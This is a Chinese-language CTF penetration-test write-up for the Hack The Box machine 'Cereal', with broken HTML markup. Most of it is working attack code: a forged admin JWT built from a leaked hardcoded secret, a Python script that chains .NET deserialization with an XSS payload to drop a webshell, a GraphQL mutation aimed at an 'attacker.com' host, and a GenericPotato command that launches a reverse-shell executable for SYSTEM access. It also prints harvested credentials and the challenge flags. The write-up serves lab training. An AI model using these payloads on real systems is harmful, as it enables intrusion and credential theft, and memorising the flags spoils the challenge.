Cereal靶机渗透测试报告<\/h1>

信息收集<\/h2>

初始扫描<\/h3>

IP地址<\/strong>: 10.10.10.217<\/li>

开放端口<\/strong>:

22\/tcp: OpenSSH for Windows 7.7<\/li>
80\/tcp: Microsoft IIS httpd 10.0 (重定向到HTTPS)<\/li>
443\/tcp: Microsoft IIS httpd 10.0 (SSL证书显示域名cereal.htb和source.cereal.htb)<\/li> <\/ul> <\/li> <\/ul>
子域名发现<\/h3>

将以下条目添加到\/etc\/hosts:
10.10.10.217 cereal.htb source.cereal.htb <\/code><\/pre> <\/li> <\/ul> Git源代码泄露利用<\/h2> GitDumper工具使用<\/h3> .\/gitdumper.sh http:\/\/source.cereal.htb\/.git\/ RES\/ <\/span><\/span><\/code><\/pre>Git历史分析<\/h3> git log --oneline --graph --decorate --all <\/span><\/span><\/code><\/pre>发现多个提交记录，其中包含安全修复(7bd9533 Security fixes)和最新更改(34b6823 Some changes)<\/p> JWT认证绕过<\/h2> 漏洞分析<\/h3> 在Services\/UserService.cs<\/code>中发现硬编码的JWT密钥: var<\/span> key = Encoding.ASCII.GetBytes("secretlhfIH&FY*#oysuflkhskjfhefesf"<\/span>); <\/span><\/span><\/code><\/pre><\/li> <\/ul> JWT令牌生成<\/h3> 使用Python生成管理员令牌:<\/p> import<\/span> jwt <\/span><\/span>from<\/span> datetime import<\/span> datetime, timedelta <\/span><\/span> <\/span><\/span>payload =<\/span> { <\/span><\/span> "N"<\/span>: "1"<\/span>, <\/span><\/span> "exp"<\/span>: datetime.<\/span>utcnow() +<\/span> timedelta(days=<\/span>7<\/span>) <\/span><\/span>} <\/span><\/span>secret =<\/span> 'secretlhfIH&FY*#oysuflkhskjfhefesf'<\/span> <\/span><\/span> <\/span><\/span>token =<\/span> jwt.<\/span>encode(payload, secret, algorithm=<\/span>"HS256"<\/span>) <\/span><\/span>if<\/span> isinstance(token, bytes): <\/span><\/span> token =<\/span> token.<\/span>decode() <\/span><\/span> <\/span><\/span>print("currentUser={<\/span>\"<\/span>token<\/span>\"<\/span>:<\/span>\"<\/span>"<\/span> +<\/span> token+<\/span>"<\/span>\"<\/span>}"<\/span>) <\/span><\/span><\/code><\/pre>.NET反序列化漏洞利用<\/h2> 漏洞点<\/h3> DownloadHelper.cs<\/code>类存在不安全反序列化，可导致任意文件下载<\/li> 关键代码: wc.DownloadFile(_URL, ReplaceLastOccurrence(_FilePath,"\\"<\/span>, "\\21098374243-"<\/span>)); <\/span><\/span><\/code><\/pre><\/li> <\/ul> 利用脚本<\/h3> #!\/usr\/bin\/env python3<\/span> <\/span><\/span>import<\/span> jwt <\/span><\/span>import<\/span> requests <\/span><\/span>import<\/span> sys <\/span><\/span>from<\/span> datetime import<\/span> datetime, timedelta <\/span><\/span>from<\/span> urllib3.exceptions import<\/span> InsecureRequestWarning <\/span><\/span> <\/span><\/span>requests.<\/span>packages.<\/span>urllib3.<\/span>disable_warnings(category=<\/span>InsecureRequestWarning) <\/span><\/span> <\/span><\/span># 生成JWT令牌<\/span> <\/span><\/span>token =<\/span> jwt.<\/span>encode({'name'<\/span>: "1"<\/span>, "exp"<\/span>: datetime.<\/span>utcnow() +<\/span> timedelta(days=<\/span>7<\/span>)}, 'secretlhfIH&FY*#oysuflkhskjfhefesf'<\/span>, algorithm=<\/span>"HS256"<\/span>) <\/span><\/span>headers =<\/span> {'Authorization'<\/span>: f<\/span>'Bearer <\/span>{<\/span>token}<\/span>'<\/span>, 'Content-Type'<\/span>: 'application\/json'<\/span>} <\/span><\/span> <\/span><\/span># 发送反序列化payload<\/span> <\/span><\/span>serial_payload =<\/span> {"json"<\/span>: "{'$type':'Cereal.DownloadHelper, Cereal','URL':'"<\/span> +<\/span> url +<\/span> "','FilePath': 'C:<\/span>\\\\<\/span>inetpub<\/span>\\\\<\/span>source<\/span>\\\\<\/span>uploads<\/span>\\\\<\/span>"<\/span> +<\/span> saveas +<\/span> "'}"<\/span>} <\/span><\/span>resp =<\/span> requests.<\/span>post(f<\/span>'https:\/\/<\/span>{<\/span>target}<\/span>\/requests'<\/span>, json=<\/span>serial_payload, headers=<\/span>headers, verify=<\/span>False<\/span>) <\/span><\/span>serial_id =<\/span> resp.<\/span>json()['id'<\/span>] <\/span><\/span> <\/span><\/span># 发送XSS payload触发管理员访问<\/span> <\/span><\/span>xss_payload =<\/span> {"json"<\/span>:"{<\/span>\"<\/span>title<\/span>\"<\/span>:<\/span>\"<\/span>[XSS](javascript: document.write<\/span>%28%<\/span>22<script>var xhr = new XMLHttpRequest;xhr.open%28'GET', 'https:\/\/"<\/span>+<\/span> target +<\/span> "\/requests\/"<\/span> +<\/span> str(serial_id)+<\/span>"', true%29;xhr.setRequestHeader%28'Authorization','Bearer "<\/span>+<\/span>token+<\/span>"'%29;xhr.send%28null%29<\/script><\/span>%22%<\/span>29)<\/span>\"<\/span>,<\/span>\"<\/span>flavor<\/span>\"<\/span>:<\/span>\"<\/span>pizza<\/span>\"<\/span>,<\/span>\"<\/span>color<\/span>\"<\/span>:<\/span>\"<\/span>#FFF<\/span>\"<\/span>,<\/span>\"<\/span>description<\/span>\"<\/span>:<\/span>\"<\/span>test<\/span>\"<\/span>}"<\/span>} <\/span><\/span>requests.<\/span>post(f<\/span>'https:\/\/<\/span>{<\/span>target}<\/span>\/requests'<\/span>, json=<\/span>xss_payload, headers=<\/span>headers, verify=<\/span>False<\/span>) <\/span><\/span><\/code><\/pre>权限提升<\/h2> 初始访问<\/h3> 通过上传的Webshell获取用户sonny的凭据: 1|sonny|mutual.madden.manner38974| <\/code><\/pre> <\/li> 使用SSH登录: ssh sonny@10.10.10.217 <\/span><\/span><\/code><\/pre><\/li> <\/ul> SeImpersonatePrivilege提权<\/h3> 检查当前用户权限:<\/p> whoami \/priv <\/span><\/span><\/code><\/pre>确认启用了SeImpersonatePrivilege<\/p> <\/li> 发现本地GraphQL服务运行在8080端口，且以SYSTEM权限运行<\/p> <\/li> 使用Chameleon工具进行端口转发:<\/p> ssh -L 10000:127.0.0.1:8080 sonny@10.10.10.217 <\/span><\/span><\/code><\/pre><\/li> 分析GraphQL API:<\/p> curl -d '{ "query": "{__schema{types{name,fields{name}}}}" }'<\/span> -X POST http:\/\/127.0.0.1:10000\/api\/graphql -H 'Content-Type: application\/json'<\/span> <\/span><\/span><\/code><\/pre><\/li> 发现危险mutation操作:<\/p> mutation<\/span> { <\/span><\/span> updatePlant<\/span>(plantId:1<\/span>, version<\/span>: 223.0<\/span>, sourceURL<\/span>: "http:\/\/attacker.com"<\/span>) <\/span><\/span>} <\/span><\/span><\/code><\/pre><\/li> 使用GenericPotato进行提权:<\/p> .\GenericPotato.exe -p "C:\programdata\reverse_10.10.16.14_443.exe"<\/span> -e HTTP <\/span><\/span><\/code><\/pre><\/li> 触发漏洞:<\/p> curl -d '{ "query": "mutation{updatePlant(plantId:1, version: 223.0, sourceURL: \"http:\/\/localhost:8888\")}" }'<\/span> -X POST http:\/\/127.0.0.1:10000\/api\/graphql -H 'Content-Type: application\/json'<\/span> <\/span><\/span><\/code><\/pre><\/li> <\/ol> 获取最终凭证<\/h2> User.txt: 00a4c544c44f9af49ae0141a845cdec5<\/code><\/li> Root.txt: c1bb05cabcdb5cc6a67dd719c1dc67d6<\/code><\/li> <\/ul>